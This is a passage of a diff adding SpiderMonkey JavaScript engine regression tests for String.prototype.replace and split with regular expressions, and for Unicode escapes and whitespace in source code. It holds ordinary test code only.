+ "ok".replace(/(?!)ok/, f),
+ "Section 42"
+);
+
+reportCompare(
+ "ok",
+ "ok".replace(/ok(?!$)/, f),
+ "Section 43"
+);
+
+f = function (sub, offs, str) {
+ return ["", sub, typeof sub, offs, typeof offs, str, typeof str, ""]
+ .join("|");
+};
+
+reportCompare(
+ "x|y|string|1|number|xyz|string|z",
+ "xyz".replace("y", f),
+ "Section 44"
+);
+
+reportCompare(
+ "x|(y)|string|1|number|x(y)z|string|z",
+ "x(y)z".replace("(y)", f),
+ "Section 45"
+);
+
+reportCompare(
+ "x|y*|string|1|number|xy*z|string|z",
+ "xy*z".replace("y*", f),
+ "Section 46"
+);
+
+reportCompare(
+ "12|3|string|2|number|12345|string|45",
+ String.prototype.replace.call(1.2345e4, 3, f),
+ "Section 47"
+);
+
+reportCompare(
+ "|x|string|0|number|xxx|string|xx",
+ "xxx".replace(/^x/g, f),
+ "Section 48"
+);
+
+reportCompare(
+ "xx|x|string|2|number|xxx|string|",
+ "xxx".replace(/x$/g, f),
+ "Section 49"
+);
+
+f = function (sub, paren, offs, str) {
+ return ["", sub, typeof sub, paren, typeof paren, offs, typeof offs,
+ str, typeof str, ""].join("|");
+};
+
+reportCompare(
+ "xy|z|string|z|string|2|number|xyz|string|",
+ "xyz".replace(/(z)/g, f),
+ "Section 50"
+);
+
+reportCompare(
+ "xyz||string||string|3|number|xyz|string|",
+ "xyz".replace(/($)/g, f),
+ "Section 51"
+);
+
+reportCompare(
+ "|xy|string|y|string|0|number|xyz|string|z",
+ "xyz".replace(/(?:x)(y)/g, f),
+ "Section 52"
+);
+
+reportCompare(
+ "|x|string|x|string|0|number|xyz|string|yz",
+ "xyz".replace(/((?=xy)x)/g, f),
+ "Section 53"
+);
+
+reportCompare(
+ "|x|string|x|string|0|number|xyz|string|yz",
+ "xyz".replace(/(x(?=y))/g, f),
+ "Section 54"
+);
+
+reportCompare(
+ "x|y|string|y|string|1|number|xyz|string|z",
+ "xyz".replace(/((?!x)y)/g, f),
+ "Section 55"
+);
+
+reportCompare(
+ "|x|string|x|string|0|number|xyz|string|" +
+ "|y|string||undefined|1|number|xyz|string|z",
+ "xyz".replace(/y|(x)/g, f),
+ "Section 56"
+);
+
+reportCompare(
+ "xy|z|string||string|2|number|xyz|string|",
+ "xyz".replace(/(z?)z/, f),
+ "Section 57"
+);
+
+reportCompare(
+ "xy|z|string||undefined|2|number|xyz|string|",
+ "xyz".replace(/(z)?z/, f),
+ "Section 58"
+);
+
+reportCompare(
+ "xy|z|string||undefined|2|number|xyz|string|",
+ "xyz".replace(/(z)?\1z/, f),
+ "Section 59"
+);
+
+reportCompare(
+ "xy|z|string||undefined|2|number|xyz|string|",
+ "xyz".replace(/\1(z)?z/, f),
+ "Section 60"
+);
+
+reportCompare(
+ "xy|z|string||string|2|number|xyz|string|",
+ "xyz".replace(/(z?\1)z/, f),
+ "Section 61"
+);
+
+f = function (sub, paren1, paren2, offs, str) {
+ return ["", sub, typeof sub, paren1, typeof paren1, paren2, typeof paren2,
+ offs, typeof offs, str, typeof str, ""].join("|");
+};
+
+reportCompare(
+ "x|y|string|y|string||undefined|1|number|xyz|string|z",
+ "xyz".replace(/(y)(\1)?/, f),
+ "Section 62"
+);
+
+reportCompare(
+ "x|yy|string|y|string|y|string|1|number|xyyz|string|z",
+ "xyyz".replace(/(y)(\1)?/g, f),
+ "Section 63"
+);
+
+reportCompare(
+ "x|y|string|y|string||undefined|1|number|xyyz|string|" +
+ "|y|string|y|string||undefined|2|number|xyyz|string|z",
+ "xyyz".replace(/(y)(\1)??/g, f),
+ "Section 64"
+);
+
+reportCompare(
+ "x|y|string|y|string|y|string|1|number|xyz|string|z",
+ "xyz".replace(/(?=(y))(\1)?/, f),
+ "Section 65"
+);
+
+reportCompare(
+ "xyy|z|string||undefined||string|3|number|xyyz|string|",
+ "xyyz".replace(/(?!(y)y)(\1)z/, f),
+ "Section 66"
+);
+
+rex = RegExp(
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()(z)?(y)");
+a = ["sub"];
+for (i = 1; i <= 102; ++i)
+ a[i] = "p" + i;
+a[103] = "offs";
+a[104] = "str";
+a[105] = "return ['', sub, typeof sub, offs, typeof offs, str, typeof str, " +
+ "p100, typeof p100, p101, typeof p101, p102, typeof p102, ''].join('|');";
+f = Function.apply(null, a);
+reportCompare(
+ "x|y|string|1|number|xyz|string||string||undefined|y|string|z",
+ "xyz".replace(rex, f),
+ "Section 67"
+);
+
+reportCompare(
+ "undefined",
+ "".replace(/.*/g, function () {}),
+ "Section 68"
+);
+
+reportCompare(
+ "nullxnullynullznull",
+ "xyz".replace(/.??/g, function () { return null; }),
+ "Section 69"
+);
+
+reportCompare(
+ "111",
+ "xyz".replace(/./g, function () { return 1; }),
+ "Section 70"
+);
diff --git a/js/src/tests/ecma_3/String/15.5.4.14.js b/js/src/tests/ecma_3/String/15.5.4.14.js
new file mode 100644
index 000000000..8542e84f4
--- /dev/null
+++ b/js/src/tests/ecma_3/String/15.5.4.14.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 287630;
+var summary = '15.5.4.14 - String.prototype.split(/()/)';
+var actual = '';
+var expect = ['a'].toString();
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+actual = 'a'.split(/()/).toString();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/String/browser.js b/js/src/tests/ecma_3/String/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/String/browser.js
diff --git a/js/src/tests/ecma_3/String/regress-104375.js b/js/src/tests/ecma_3/String/regress-104375.js
new file mode 100644
index 000000000..97fa0f9e1
--- /dev/null
+++ b/js/src/tests/ecma_3/String/regress-104375.js
@@ -0,0 +1,82 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 12 October 2001
+ *
+ * SUMMARY: Regression test for string.replace bug 104375
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=104375
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 104375;
+var summary = 'Testing string.replace() with backreferences';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Use the regexp to replace 'uid=31' with 'uid=15'
+ *
+ * In the second parameter of string.replace() method,
+ * "$1" refers to the first backreference: 'uid='
+ */
+var str = 'uid=31';
+var re = /(uid=)(\d+)/;
+
+// try the numeric literal 15
+status = inSection(1);
+actual = str.replace (re, "$1" + 15);
+expect = 'uid=15';
+addThis();
+
+// try the string literal '15'
+status = inSection(2);
+actual = str.replace (re, "$1" + '15');
+expect = 'uid=15';
+addThis();
+
+// try a letter before the '15'
+status = inSection(3);
+actual = str.replace (re, "$1" + 'A15');
+expect = 'uid=A15';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
+
+
diff --git a/js/src/tests/ecma_3/String/regress-189898.js b/js/src/tests/ecma_3/String/regress-189898.js
new file mode 100644
index 000000000..ce207ede8
--- /dev/null
+++ b/js/src/tests/ecma_3/String/regress-189898.js
@@ -0,0 +1,123 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 21 January 2003
+ * SUMMARY: Regression test for bug 189898
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=189898
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 189898;
+var summary = 'Regression test for bug 189898';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = 'XaXY'.replace('XY', '--')
+ expect = 'Xa--';
+addThis();
+
+status = inSection(2);
+actual = '$a$^'.replace('$^', '--')
+ expect = '$a--';
+addThis();
+
+status = inSection(3);
+actual = 'ababc'.replace('abc', '--')
+ expect = 'ab--';
+addThis();
+
+status = inSection(4);
+actual = 'ababc'.replace('abc', '^$')
+ expect = 'ab^$';
+addThis();
+
+
+
+/*
+ * Same as above, but providing a regexp in the first parameter
+ * to String.prototype.replace() instead of a string.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=83293
+ * for subtleties on this issue -
+ */
+status = inSection(5);
+actual = 'XaXY'.replace(/XY/, '--')
+ expect = 'Xa--';
+addThis();
+
+status = inSection(6);
+actual = 'XaXY'.replace(/XY/g, '--')
+ expect = 'Xa--';
+addThis();
+
+status = inSection(7);
+actual = '$a$^'.replace(/\$\^/, '--')
+ expect = '$a--';
+addThis();
+
+status = inSection(8);
+actual = '$a$^'.replace(/\$\^/g, '--')
+ expect = '$a--';
+addThis();
+
+status = inSection(9);
+actual = 'ababc'.replace(/abc/, '--')
+ expect = 'ab--';
+addThis();
+
+status = inSection(10);
+actual = 'ababc'.replace(/abc/g, '--')
+ expect = 'ab--';
+addThis();
+
+status = inSection(11);
+actual = 'ababc'.replace(/abc/, '^$')
+ expect = 'ab^$';
+addThis();
+
+status = inSection(12);
+actual = 'ababc'.replace(/abc/g, '^$')
+ expect = 'ab^$';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/String/regress-304376.js b/js/src/tests/ecma_3/String/regress-304376.js
new file mode 100644
index 000000000..d88c03c88
--- /dev/null
+++ b/js/src/tests/ecma_3/String/regress-304376.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 304376;
+var summary = 'String.prototype should be readonly and permanent';
+var actual = '';
+var expect = '';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'TypeError';
+
+var saveString = String;
+
+String = Array;
+
+try
+{
+ // see if we can crash...
+ "".join();
+ String = saveString;
+ actual = 'No Error';
+}
+catch(ex)
+{
+ String = saveString;
+ actual = ex.name;
+ printStatus(ex + '');
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/String/regress-313567.js b/js/src/tests/ecma_3/String/regress-313567.js
new file mode 100644
index 000000000..894a82175
--- /dev/null
+++ b/js/src/tests/ecma_3/String/regress-313567.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313567;
+var summary = 'String.prototype.length should not be generic';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var s = new String("1");
+s.toString = function() {
+ return "22";
+}
+ var expect = 1;
+var actual = s.length;
+printStatus("expect="+expect+" actual="+actual);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/String/regress-369778.js b/js/src/tests/ecma_3/String/regress-369778.js
new file mode 100644
index 000000000..ad282eb46
--- /dev/null
+++ b/js/src/tests/ecma_3/String/regress-369778.js
@@ -0,0 +1,29 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+var BUGNUMBER = 369778;
+var summary =
+ "RegExpStatics::makeMatch should make an undefined value when the last " +
+ "match had an undefined capture.";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var expected = undefined;
+var actual;
+
+'x'.replace(/x(.)?/g, function(m, group) { actual = group; })
+
+print("expected: " + expected)
+print("actual: " + actual)
+
+assertEq(expected, actual)
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/ecma_3/String/regress-392378.js b/js/src/tests/ecma_3/String/regress-392378.js
new file mode 100644
index 000000000..6bfdf8142
--- /dev/null
+++ b/js/src/tests/ecma_3/String/regress-392378.js
@@ -0,0 +1,44 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 392378;
+var summary = 'Regular Expression Non-participating Capture Groups are inaccurate in edge cases';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = ["", undefined, ""] + '';
+ actual = "y".split(/(x)?\1y/) + '';
+ reportCompare(expect, actual, summary + ': "y".split(/(x)?\1y/)');
+
+ expect = ["", undefined, ""] + '';
+ actual = "y".split(/(x)?y/) + '';
+ reportCompare(expect, actual, summary + ': "y".split(/(x)?y/)');
+
+ expect = 'undefined';
+ actual = "y".replace(/(x)?\1y/, function($0, $1){ return String($1); }) + '';
+ reportCompare(expect, actual, summary + ': "y".replace(/(x)?\\1y/, function($0, $1){ return String($1); })');
+
+ expect = 'undefined';
+ actual = "y".replace(/(x)?y/, function($0, $1){ return String($1); }) + '';
+ reportCompare(expect, actual, summary + ': "y".replace(/(x)?y/, function($0, $1){ return String($1); })');
+
+ expect = 'undefined';
+ actual = "y".replace(/(x)?y/, function($0, $1){ return $1; }) + '';
+ reportCompare(expect, actual, summary + ': "y".replace(/(x)?y/, function($0, $1){ return $1; })');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/String/regress-83293.js b/js/src/tests/ecma_3/String/regress-83293.js
new file mode 100644
index 000000000..6bd17a725
--- /dev/null
+++ b/js/src/tests/ecma_3/String/regress-83293.js
@@ -0,0 +1,182 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/*
+ * Creation Date: 30 May 2001
+ * Correction Date: 14 Aug 2001
+ *
+ * SUMMARY: Regression test for bugs 83293, 103351
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=83293
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=103351
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=92942
+ *
+ *
+ * ******************** CORRECTION !!! *****************************
+ *
+ * When I originally wrote this test, I thought this was true:
+ * str.replace(strA, strB) == str.replace(new RegExp(strA),strB).
+ * See ECMA-262 Final Draft, 15.5.4.11 String.prototype.replace
+ *
+ * However, in http://bugzilla.mozilla.org/show_bug.cgi?id=83293
+ * Jim Ley points out the ECMA-262 Final Edition changed on this.
+ * String.prototype.replace (searchValue, replaceValue), if provided
+ * a searchValue that is not a RegExp, is NO LONGER to replace it with
+ *
+ * new RegExp(searchValue)
+ * but rather:
+ * String(searchValue)
+ *
+ * This puts the replace() method at variance with search() and match(),
+ * which continue to follow the RegExp conversion of the Final Draft.
+ * It also makes most of this testcase, as originally written, invalid.
+ **********************************************************************
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 103351; // <--- (Outgrowth of original bug 83293)
+var summ_OLD = 'Testing str.replace(strA, strB) == str.replace(new RegExp(strA),strB)';
+var summ_NEW = 'Testing String.prototype.replace(x,y) when x is a string';
+var summary = summ_NEW;
+var status = '';
+var actual = '';
+var expect= '';
+var cnEmptyString = '';
+var str = 'abc';
+var strA = cnEmptyString;
+var strB = 'Z';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+/*
+ * In this test, it's important to reportCompare() each other case
+ * BEFORE the last two cases are attempted. Don't store all results
+ * in an array and reportCompare() them at the end, as we usually do.
+ *
+ * When this bug was filed, str.replace(strA, strB) would return no value
+ * whatsoever if strA == cnEmptyString, and no error, either -
+ */
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+/******************* THESE WERE INCORRECT; SEE ABOVE ************************
+ status = 'Section A of test';
+ strA = 'a';
+ actual = str.replace(strA, strB);
+ expect = str.replace(new RegExp(strA), strB);
+ reportCompare(expect, actual, status);
+
+ status = 'Section B of test';
+ strA = 'x';
+ actual = str.replace(strA, strB);
+ expect = str.replace(new RegExp(strA), strB);
+ reportCompare(expect, actual, status);
+
+ status = 'Section C of test';
+ strA = undefined;
+ actual = str.replace(strA, strB);
+ expect = str.replace(new RegExp(strA), strB);
+ reportCompare(expect, actual, status);
+
+ status = 'Section D of test';
+ strA = null;
+ actual = str.replace(strA, strB);
+ expect = str.replace(new RegExp(strA), strB);
+ reportCompare(expect, actual, status);
+
+
+ * This example is from jim@jibbering.com (see Bugzilla bug 92942)
+ * It is a variation on the example below.
+ *
+ * Namely, we are using the regexp /$/ instead of the regexp //.
+ * The regexp /$/ means we should match the "empty string" at the
+ * end-boundary of the word, instead of the one at the beginning.
+ *
+ status = 'Section E of test';
+ var strJim = 'aa$aa';
+ strA = '$';
+ actual = strJim.replace(strA, strB); // bug -> 'aaZaa'
+ expect = strJim.replace(new RegExp(strA), strB); // expect 'aa$aaZ'
+ reportCompare(expect, actual, status);
+
+
+ *
+ * Note: 'Zabc' is the result we expect for 'abc'.replace('', 'Z').
+ *
+ * The string '' is supposed to be equivalent to new RegExp('') = //.
+ * The regexp // means we should match the "empty string" conceived of
+ * at the beginning boundary of the word, before the first character.
+ *
+ status = 'Section F of test';
+ strA = cnEmptyString;
+ actual = str.replace(strA, strB);
+ expect = 'Zabc';
+ reportCompare(expect, actual, status);
+
+ status = 'Section G of test';
+ strA = cnEmptyString;
+ actual = str.replace(strA, strB);
+ expect = str.replace(new RegExp(strA), strB);
+ reportCompare(expect, actual, status);
+
+ ************************* END OF INCORRECT CASES ****************************/
+
+
+////////////////////////// OK, LET'S START OVER //////////////////////////////
+
+ status = 'Section 1 of test';
+ actual = 'abc'.replace('a', 'Z');
+ expect = 'Zbc';
+ reportCompare(expect, actual, status);
+
+ status = 'Section 2 of test';
+ actual = 'abc'.replace('b', 'Z');
+ expect = 'aZc';
+ reportCompare(expect, actual, status);
+
+ status = 'Section 3 of test';
+ actual = 'abc'.replace(undefined, 'Z');
+ expect = 'abc'; // String(undefined) == 'undefined'; no replacement possible
+ reportCompare(expect, actual, status);
+
+ status = 'Section 4 of test';
+ actual = 'abc'.replace(null, 'Z');
+ expect = 'abc'; // String(null) == 'null'; no replacement possible
+ reportCompare(expect, actual, status);
+
+ status = 'Section 5 of test';
+ actual = 'abc'.replace(true, 'Z');
+ expect = 'abc'; // String(true) == 'true'; no replacement possible
+ reportCompare(expect, actual, status);
+
+ status = 'Section 6 of test';
+ actual = 'abc'.replace(false, 'Z');
+ expect = 'abc'; // String(false) == 'false'; no replacement possible
+ reportCompare(expect, actual, status);
+
+ status = 'Section 7 of test';
+ actual = 'aa$aa'.replace('$', 'Z');
+ expect = 'aaZaa'; // NOT 'aa$aaZ' as in ECMA Final Draft; see above
+ reportCompare(expect, actual, status);
+
+ status = 'Section 8 of test';
+ actual = 'abc'.replace('.*', 'Z');
+ expect = 'abc'; // not 'Z' as in EMCA Final Draft
+ reportCompare(expect, actual, status);
+
+ status = 'Section 9 of test';
+ actual = 'abc'.replace('', 'Z');
+ expect = 'Zabc'; // Still expect 'Zabc' for this
+ reportCompare(expect, actual, status);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/String/shell.js b/js/src/tests/ecma_3/String/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/String/shell.js
diff --git a/js/src/tests/ecma_3/Unicode/browser.js b/js/src/tests/ecma_3/Unicode/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Unicode/browser.js
diff --git a/js/src/tests/ecma_3/Unicode/regress-352044-01.js b/js/src/tests/ecma_3/Unicode/regress-352044-01.js
new file mode 100644
index 000000000..0c98d7267
--- /dev/null
+++ b/js/src/tests/ecma_3/Unicode/regress-352044-01.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352044;
+var summary = 'issues with Unicode escape sequences in JavaScript source code';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: illegal character';
+
+ try
+ {
+ var i = 1;
+ eval('i \\u002b= 1');
+ print(i);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Unicode/regress-352044-02-n.js b/js/src/tests/ecma_3/Unicode/regress-352044-02-n.js
new file mode 100644
index 000000000..ea975d4a4
--- /dev/null
+++ b/js/src/tests/ecma_3/Unicode/regress-352044-02-n.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352044;
+var summary = 'issues with Unicode escape sequences in JavaScript source code';
+var actual = 'No Error';
+var expect = 'SyntaxError';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('This test case is expected to throw an uncaught SyntaxError');
+
+ try
+ {
+ var i = 1;
+ i \u002b= 1;
+ print(i);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Unicode/shell.js b/js/src/tests/ecma_3/Unicode/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Unicode/shell.js
diff --git a/js/src/tests/ecma_3/Unicode/uc-001-n.js b/js/src/tests/ecma_3/Unicode/uc-001-n.js
new file mode 100644
index 000000000..8ed4cfad6
--- /dev/null
+++ b/js/src/tests/ecma_3/Unicode/uc-001-n.js
@@ -0,0 +1,26 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+test();
+
+function test()
+{
+ enterFunc ("test");
+
+ printStatus ("Unicode Characters 1C-1F negative test.");
+ printBugNumber (23612);
+
+ reportCompare ("error", eval ("'no'\u001C+' error'"),
+ "Unicode whitespace test (1C.)");
+ reportCompare ("error", eval ("'no'\u001D+' error'"),
+ "Unicode whitespace test (1D.)");
+ reportCompare ("error", eval ("'no'\u001E+' error'"),
+ "Unicode whitespace test (1E.)");
+ reportCompare ("error", eval ("'no'\u001F+' error'"),
+ "Unicode whitespace test (1F.)");
+
+ exitFunc ("test");
+}
diff --git a/js/src/tests/ecma_3/Unicode/uc-001.js b/js/src/tests/ecma_3/Unicode/uc-001.js
new file mode 100644
index 000000000..bfb8fd515
--- /dev/null
+++ b/js/src/tests/ecma_3/Unicode/uc-001.js
@@ -0,0 +1,21 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+test();
+
+function test()
+{
+ enterFunc ("test");
+
+ printStatus ("Unicode format-control character (Category Cf) test.");
+ printBugNumber (23610);
+
+ reportCompare ("no error", eval('"no\u200E error"'),
+ "Unicode format-control character test (Category Cf.)");
+
+ exitFunc ("test");
+}
diff --git a/js/src/tests/ecma_3/Unicode/uc-002-n.js b/js/src/tests/ecma_3/Unicode/uc-002-n.js
new file mode 100644
index 000000000..0bf64bad8
--- /dev/null
+++ b/js/src/tests/ecma_3/Unicode/uc-002-n.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+DESCRIPTION = "Non-character escapes in identifiers negative test.";
+EXPECTED = "error";
+
+enterFunc ("test");
+
+printStatus ("Non-character escapes in identifiers negative test.");
+printBugNumber (23607);
+
+eval("\u0020 = 5");
+reportCompare('PASS', 'FAIL', "Previous statement should have thrown an error.");
+
+exitFunc ("test");
+
diff --git a/js/src/tests/ecma_3/Unicode/uc-002.js b/js/src/tests/ecma_3/Unicode/uc-002.js
new file mode 100644
index 000000000..6e33f1470
--- /dev/null
+++ b/js/src/tests/ecma_3/Unicode/uc-002.js
@@ -0,0 +1,24 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+test();
+
+function test()
+{
+ enterFunc ("test");
+
+ printStatus ("Unicode non-breaking space character test.");
+ printBugNumber (23613);
+
+ reportCompare ("no error", eval("'no'\u00A0+ ' error'"),
+ "Unicode non-breaking space character test.");
+
+ var str = "\u00A0foo";
+ reportCompare (0, str.search(/^\sfoo$/),
+ "Unicode non-breaking space character regexp test.");
+
+ exitFunc ("test");
+}
diff --git a/js/src/tests/ecma_3/Unicode/uc-003.js b/js/src/tests/ecma_3/Unicode/uc-003.js
new file mode 100644
index 000000000..541cf36c6
--- /dev/null
+++ b/js/src/tests/ecma_3/Unicode/uc-003.js
@@ -0,0 +1,30 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+test();
+
+function test()
+{
+ enterFunc ("test");
+
+ var \u0041 = 5;
+ var A\u03B2 = 15;
+
+ printStatus ("Escapes in identifiers test.");
+ printBugNumber (23608);
+ printBugNumber (23607);
+
+ reportCompare (5, eval("\u0041"),
+ "Escaped ASCII Identifier test.");
+ reportCompare (6, eval("++\u0041"),
+ "Escaped ASCII Identifier test");
+ reportCompare (15, eval("A\u03B2"),
+ "Escaped non-ASCII Identifier test");
+ reportCompare (16, eval("++A\u03B2"),
+ "Escaped non-ASCII Identifier test");
+
+ exitFunc ("test");
+}
diff --git a/js/src/tests/ecma_3/Unicode/uc-004.js b/js/src/tests/ecma_3/Unicode/uc-004.js
new file mode 100644
index 000000000..4c89a760e
--- /dev/null
+++ b/js/src/tests/ecma_3/Unicode/uc-004.js
@@ -0,0 +1,29 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+test();
+
+function test()
+{
+ enterFunc ("test");
+
